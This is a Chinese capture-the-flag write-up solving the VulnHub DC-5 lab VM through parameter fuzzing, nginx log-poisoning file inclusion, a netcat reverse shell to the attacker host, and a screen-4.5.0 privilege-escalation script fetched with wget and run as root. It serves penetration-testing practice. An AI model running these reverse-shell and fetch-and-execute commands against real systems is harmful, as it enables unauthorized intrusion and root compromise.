靶机下载地址:
链接:https://pan.baidu.com/s/1aZRB-hqvqLlGUmAPFljnIA?pwd=elxg
提取码:elxg
参考:
- DC5官方地址:https://www.vulnhub.com/entry/dc-5,314/
- DC5靶机地址:https://download.vulnhub.com/dc/DC-5.zip
- http://t.csdnimg.cn/fQuRB
- DC-5 (1).pdf
- 【DC系列靶机DC5通关讲解】 https://www.bilibili.com/video/BV1Bj411N74r/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
- ChatGPT
描述:
DESCRIPTION 说明
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-5是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
DC-5的计划是让它更上一层楼,所以这对初学者来说可能不太好,但对有中级或更好经验的人来说应该没问题。时间会证明一切(反馈也是如此)。As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
据我所知,只有一个可利用的入口点(也没有SSH)。这个特定的切入点可能很难识别,但它就在那里。你需要寻找一些不同寻常的东西(随着页面刷新而变化的东西)。这将有望为漏洞可能涉及的内容提供某种思路。And just for the record, there is no phpmailer exploit involved. :-)
而且只是为了记录在案,不涉及phpmailer漏洞。:-)The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。But if you're really, really stuck, you can watch this video which shows the first step.
但如果你真的,真的卡住了,你可以看这段视频,它展示了第一步。
1、导入VMware虚拟机
下载完成后,得到DC-5.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。
2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
3、kali创建一个目录 dc5 ,后续的操作都在该目录下进行
使用工具
攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.133
一.信息收集
基础信息查询
0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务
这几条命令的用法可以看之前的博客,这里不再赘述
发现主机192.168.1.133开启着80端口的HTTP服务
访问一下web页面,发现是一个静态页面
根据题目描述和提示,查找随着页面刷新而变化的东西
先在contact那里随便提交一下
随着页面的刷新 ,Copyright © 2018 会随之变化
查看源代码,发现
dirsearch -u "http://192.168.1.133/" -e php
访问发现是这个footer.php来控制变化的
猜想是thankkyou.php调用footer.php,所以可能存在文件包含漏洞。
FUZZ 测试隐藏参数
FUZZ作为一个占位标志,后续爆破就爆破它这个位置
http://192.168.1.133/thankyou.php?FUZZ=/etc/passwd
- 可以用BurpSuite来
- 也可以用wfuzz
- 或者 ffuf
这里用wfuzz
wfuzz 是一个功能强大的Web应用程序扫描和爆破工具,用于发现隐藏的文件和目录、敏感数据泄露、漏洞等。它可以通过使用自定义的字典列表来对目标进行高效率的爆破。
wfuzz 的使用方法如下:
wfuzz [options] <url>
其中 [options] 代表可选的命令行选项, 是目标URL。
以下是一些常用的 wfuzz 命令行选项:
- -w, --wordlist :指定用于爆破的字典文件。
- -d, --data :指定要在请求中发送的数据。
- -H, --headers :指定自定义的HTTP头信息。
- -c, --cookies :指定要使用的Cookie。
- -t, --threads :指定同时运行的线程数。
- -p, --proxy :指定要使用的代理服务器。
- -o, --output :将结果输出到文件中。
这只是一小部分 wfuzz 的命令行选项。您可以通过运行 wfuzz --help 查看完整的帮助文档以了解更多功能和用法示例。
请注意,在进行Web应用程序扫描和爆破时,必须获得合法授权,并遵守法律和道德准则。滥用此类工具可能导致违法行为和未经授权的访问。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.133/thankyou.php?FUZZ=/etc/passwd
查看长度不一样的,因为包含了文件,所以字符会变多
得到这个参数就是file
接下来测试文件包含
这里是关于日志文件包含,由于nmap扫描到靶机服务器是nginx
服务器的日志存放在/var/log/nginx/access.log里面
到这一步这⾥推荐重新导⼊靶机,或者返回初始快照,因为前期发送过多数据,导致⽇志内的数据⼗分多,⼀旦包含会造成卡顿。
我们先 通过 burpsuite 抓包发送数据包,内容为⼀句话木马 ,并在前面加上fab1an做了一个标记,方便等一下查看
查看日志文件,木马写入成功。
fa1an标记后面没有显示一句话木马,说明php代码被执行解析了,并没有被当成文本输出
然后接着用蚁剑进行链接,连接成功
查看thankyou.php,确实发现包含了footer文件
接下里开启蚁剑的虚拟终端,并将shell反弹到kali上,
因为蚁剑的终端是伪终端,只是把我们的命令转换成php代码发送过去,再以相同的方式回显出来而已,
- kali监听8888端口
- 蚁剑把Shell反弹回来 (注意IP地址要填kali的地址,老是填错,填成靶机的IP可不行)
nc -e /bin/bash 192.168.1.128 8888
进入交互模式(让shell更好操作更好看一点)
python -c "import pty;pty.spawn('/bin/bash')"
提权,用find查看suid是否有可执行的文件
find / -perm -4000 -print 2>/dev/null#查看suid是否有可执行的文件
#找特殊执行权限的文件,将错误输出到/dev/null下,/dev/null相当于linux中无底的垃圾桶
发现screen的版本号都出来了,那么就搜索一下能不能利用
搜索发现screen-4.5.0存在漏洞
searchsploit screen
searchsploit -m 41154.sh # 下载脚本到当前目录
改个简单的名字
并在当前目录开启HTTP服务,这样子就能在靶机上下载到这个脚本了
python -m http.server 80
看到这个页面就说明HTTP启动好了
回到靶机上
先进入 /tmp 目录,这个目录才有下载权限
cd /tmp
然后把脚本下载下来
wget http://192.168.1.128/a.sh
运行一下脚本就可以获得root权限了
bash a.sh
进入交互模式(让shell更好操作更好看一点)
python -c "import pty;pty.spawn('/bin/bash')"
flag
如果运行脚本的时候出现问题
如果是dos格式,需要转化为unix格式
那就用这条命令,然后就可以了
总结
- 信息收集很重要
- 学到反弹shell,日志文件包含
- FUZZ
- python启动HTTP服务学到了
- 提权的知识点巩固